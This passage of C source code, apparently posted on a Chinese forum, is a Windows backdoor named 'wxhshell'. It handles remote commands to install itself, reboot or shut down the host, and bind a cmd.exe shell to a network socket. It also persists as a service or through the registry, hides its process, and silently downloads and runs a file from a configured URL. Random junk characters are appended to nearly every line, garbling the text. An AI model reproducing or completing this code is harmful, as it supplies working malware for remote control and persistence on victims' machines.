d+1L5}Jn  
    switch(cmd[0]) { +}`p"<'u  
  ,2E`:#$  
  // 帮助 n,1NJKX  
  case '?': { ?BXP}]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t>m8iS>  
    break; #r-j.f}yx  
  } 0 [*nAo  
  // 安装 38OIFT  
  case 'i': { Z={UM/6w  
    if(Install()) OME!W w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #a/n5c&6/  
    else G >I.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dawVE O  
    break; 5Q2TT $P  
    } <7@mg/T  
  // 卸载 x Q@&W;  
  case 'r': { 3T Yo  
    if(Uninstall()) xuw//F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <x.]OZgO  
    else EXv\FUzo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cj`pw2.  
    break; qYQUr8{  
    } xF2f/y   
  // 显示 wxhshell 所在路径 N}eU.#L  
  case 'p': { Y*h`),  
    char svExeFile[MAX_PATH]; c4FOfH|  
    strcpy(svExeFile,"\n\r"); oC ^z_AtZ  
      strcat(svExeFile,ExeFile); |% la  
        send(wsh,svExeFile,strlen(svExeFile),0); eYnLZ&H5O  
    break; k4]R]=Fh.  
    } +5N^TnBtBL  
  // 重启 KzxW?Ji$S  
  case 'b': { mkKRC;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZA 99vO  
    if(Boot(REBOOT)) oX%PsS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <VauJB*R  
    else { #S/pYP`7  
    closesocket(wsh); p P_wBX  
    ExitThread(0); tF{{cd  
    } i2`.#YJ&v  
    break; R.^Bxi-UG:  
    } P\Pc/[ Z7  
  // 关机 ~2;&pZ$  
  case 'd': { ,.1&Ff)S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S5YDS|K  
    if(Boot(SHUTDOWN)) A`+(VzZgJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0KNH=;d}  
    else { B h.6:9{  
    closesocket(wsh); WVBE>TB  
    ExitThread(0); 64IeCAMVo  
    } }V93~>  
    break; vQ9 xG))  
    } #8WR{  
  // 获取shell a78;\{&L'  
  case 's': { &@`H^8  
    CmdShell(wsh); {VrAh*#h  
    closesocket(wsh); Vj9`[1}1Z  
    ExitThread(0); ~7eUt^SD;  
    break; qHcY 2LV  
  } uv_P{%TK  
  // 退出 ;m M\, {Z  
  case 'x': { 6+{nw}e8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~CjmYP'o  
    CloseIt(wsh); O(:u(U7e  
    break; c@"i?  
    } X(0:zb,#G*  
  // 离开 h}c6+@w&-  
  case 'q': { @$N*lrM2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o i,g  
    closesocket(wsh); & Q|f*T  
    WSACleanup(); iZVT% A+q  
    exit(1); ;]8p:ME  
    break; #o}{cXX#  
        } XO8 H]  
  } "pKGUM  
  } "' i [~  
UJyiRP:#]>  
  // 提示信息 yA`]%U((  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [1[[$ Dr  
} <_FF~lj  
  } JsoWaD  
f;qKrw  
  return; hVQ+ J!qD  
} BLYk <m  
V< 9em7  
// shell模块句柄 ?8aWUgl  
int CmdShell(SOCKET sock) {f6A[ZO;J  
{ ^LQ lfd  
STARTUPINFO si; 1v8:,!C  
ZeroMemory(&si,sizeof(si)); V!aC#^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VG*=)8{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [fJFH^&?hr  
PROCESS_INFORMATION ProcessInfo; VS@rM<K{  
char cmdline[]="cmd"; 85d7IB{28  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pCud` :o"  
  return 0; ZLFdnC@  
} J{'zkR?Lr  
cJp1 <R  
// 自身启动模式 Dv\:b*  
int StartFromService(void) ^FpiQF  
{ =[CS2VQ'  
typedef struct hH@o|!y  
{ Y9c9/_CSj  
  DWORD ExitStatus; l{7Dv1[Ss  
  DWORD PebBaseAddress; u/c~PxC  
  DWORD AffinityMask; y<gYf -E+  
  DWORD BasePriority; c)P%O  
  ULONG UniqueProcessId; e"&9G}.f  
  ULONG InheritedFromUniqueProcessId; 2l}Fg D  
}   PROCESS_BASIC_INFORMATION; 3dzqV aV  
/`]|_>'  
PROCNTQSIP NtQueryInformationProcess; &@.=)4Y  
8Jly! =Qm5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JKu6+V jO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9zGKQ|X)  
myo~Qqt?  
  HANDLE             hProcess; 4mg 7f^[+  
  PROCESS_BASIC_INFORMATION pbi; 36Fa9P FCc  
'-1jWw:8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <45dy5!Tz  
  if(NULL == hInst ) return 0; 2K7:gd8Ru  
aN);P>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9.w3VF_C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i|! 9o:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sMe~C>RD  
onypwfIk)t  
  if (!NtQueryInformationProcess) return 0; "8Wc\YDh  
RSVN(-wIi)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1)kl  
  if(!hProcess) return 0; $hY]EB  
H_nOE(i<z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sp]y!zb"5  
@'| 6lG  
  CloseHandle(hProcess); E/Gs',Y  
*ytd.^@r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )T~ +>+t  
if(hProcess==NULL) return 0; !gH.st  
wQ/@+$>  
HMODULE hMod; /)OO)B-r  
char procName[255]; '~x_  
unsigned long cbNeeded; { 'mY>s 7  
)-Sl/ G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vkauX :M  
}n&JZ`8<s  
  CloseHandle(hProcess); 1*`JcUn,>  
#z54/T  
if(strstr(procName,"services")) return 1; // 以服务启动 4O,a`:d1$6  
u$`x]K=Zsm  
  return 0; // 注册表启动 Mm[1Z;H  
} |\L,r}1N  
w"Y55EURB  
// 主模块 zyQEz#O   
int StartWxhshell(LPSTR lpCmdLine) [g 68O*  
{ K#pt8Q  
  SOCKET wsl; %!/liS  
BOOL val=TRUE; #i#.tc  
  int port=0; $ax%K?MBD  
  struct sockaddr_in door; )k<~}wvQ0  
b(rBha|  
  if(wscfg.ws_autoins) Install(); 3<Y;mA=hw  
sn-+F%[  
port=atoi(lpCmdLine); :usBeho  
IXk'?9  
if(port<=0) port=wscfg.ws_port; */h 9"B  
N#-\JlJ)  
  WSADATA data; 9'L0Al~L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q X5#$-H@  
f$*9J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nf@u7*# 6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M/`z;a=EP  
  door.sin_family = AF_INET; gJfL$S'w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8Nq Iz  
  door.sin_port = htons(port); -bX.4+U  
-(,6w?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5v-;*  
closesocket(wsl); 4Tw1gas.  
return 1; \$Qm2XKrK  
} g. VIe  
#)eJz1~  
  if(listen(wsl,2) == INVALID_SOCKET) { T#;*I#A:  
closesocket(wsl); %cif0Td  
return 1; G:s:NXy^  
} T k=3"y+u[  
  Wxhshell(wsl); FQ ^^6Rl  
  WSACleanup(); _BA_lkN+D  
'r <BaL  
return 0; dWWkO03 |  
G~L#v AY  
} ^\9G{}VY  
. zMM86c  
// 以NT服务方式启动 7I3CPc$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !d@`r1t  
{ )/^$JYz  
DWORD   status = 0; &x5ZEe4  
  DWORD   specificError = 0xfffffff; 'aWZ#GS*  
oYM3$.{E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fmN)~-DV9`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \ } Szb2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 85~h+Q;  
  serviceStatus.dwWin32ExitCode     = 0; zt%Fvn4/pF  
  serviceStatus.dwServiceSpecificExitCode = 0; [gY__  
  serviceStatus.dwCheckPoint       = 0; UR=s{nFd  
  serviceStatus.dwWaitHint       = 0; 'GoeVq  
lR3^&d72?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~7H.<kJt  
  if (hServiceStatusHandle==0) return; ;;H:$lx  
6KTY`'I  
status = GetLastError(); >mltE$|  
  if (status!=NO_ERROR) #IwB  
{ }iloX#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *}&aK}h}I  
    serviceStatus.dwCheckPoint       = 0; (6^k;j  
    serviceStatus.dwWaitHint       = 0; ZKL%rp_  
    serviceStatus.dwWin32ExitCode     = status; NUtyUv  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~n 9DG>a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \+A<s,x  
    return; JNl+UH:.  
  } 1/BMs0 =  
nU *fne?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UL"3skV   
  serviceStatus.dwCheckPoint       = 0; ]997`,1b  
  serviceStatus.dwWaitHint       = 0; K9Fnb6J$u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LK5H~FK  
} F}[;ytmUS  
0)44*T  
// 处理NT服务事件,比如:启动、停止 K0@7/*%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Br!&Y9  
{ X*q C:]e  
switch(fdwControl) R/YL1s  
{ 3?(p;  
case SERVICE_CONTROL_STOP: 7y7y<`)I5  
  serviceStatus.dwWin32ExitCode = 0; :_zKUv]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .?j8{>  
  serviceStatus.dwCheckPoint   = 0; O{R5<"g  
  serviceStatus.dwWaitHint     = 0; jG :R\D}0  
  { g3rFJc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3dphS ^X  
  } 7T Bo*-!  
  return; cyE2=  
case SERVICE_CONTROL_PAUSE: C^tC} n1D(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "c*|vE  
  break; h;M2yl Ou.  
case SERVICE_CONTROL_CONTINUE: O~xmz!?=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #4u; `j"4=  
  break; i% lB U 1  
case SERVICE_CONTROL_INTERROGATE: I\23as0q  
  break; ufPQ~,.  
}; TZ2f-KI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B6o AW,3  
} Q.AM  
!m2k0|9  
// 标准应用程序主函数 q Q8l8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5al{[mi  
{ =SnR9In  
}YO}LQ-|  
// 获取操作系统版本 w}b+vh^3Wy  
OsIsNt=GetOsVer(); PEl]HI_H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7A-rF U$  
7mNskb|  
  // 从命令行安装 ^*Fkt(ida  
  if(strpbrk(lpCmdLine,"iI")) Install(); W'$~mK\  
`s$@6r$  
  // 下载执行文件 N-]n>E  
if(wscfg.ws_downexe) { T5;D0tM/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m`"s$\fah  
  WinExec(wscfg.ws_filenam,SW_HIDE); KA#-X2U/  
} Hkt'~ L*   
-;*Z!|e9  
if(!OsIsNt) { Mw. +0R!T  
// 如果时win9x,隐藏进程并且设置为注册表启动 w%\;|y4+  
HideProc(); ZZ5yu* &  
StartWxhshell(lpCmdLine); rl=_ "sd=  
} 0iHI "9z  
else Y."[k&P-  
  if(StartFromService()) ja2]VbB  
  // 以服务方式启动 dr o42#$Mo  
  StartServiceCtrlDispatcher(DispatchTable); opC11c/  
else A9gl|II  
  // 普通方式启动 iz(+(M  
  StartWxhshell(lpCmdLine); '3VrHL@@g  
9Ba<'wk/>"  
return 0; !%@{S8IP.v  
}
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只看该作者 1 发表于: 2006-10-10
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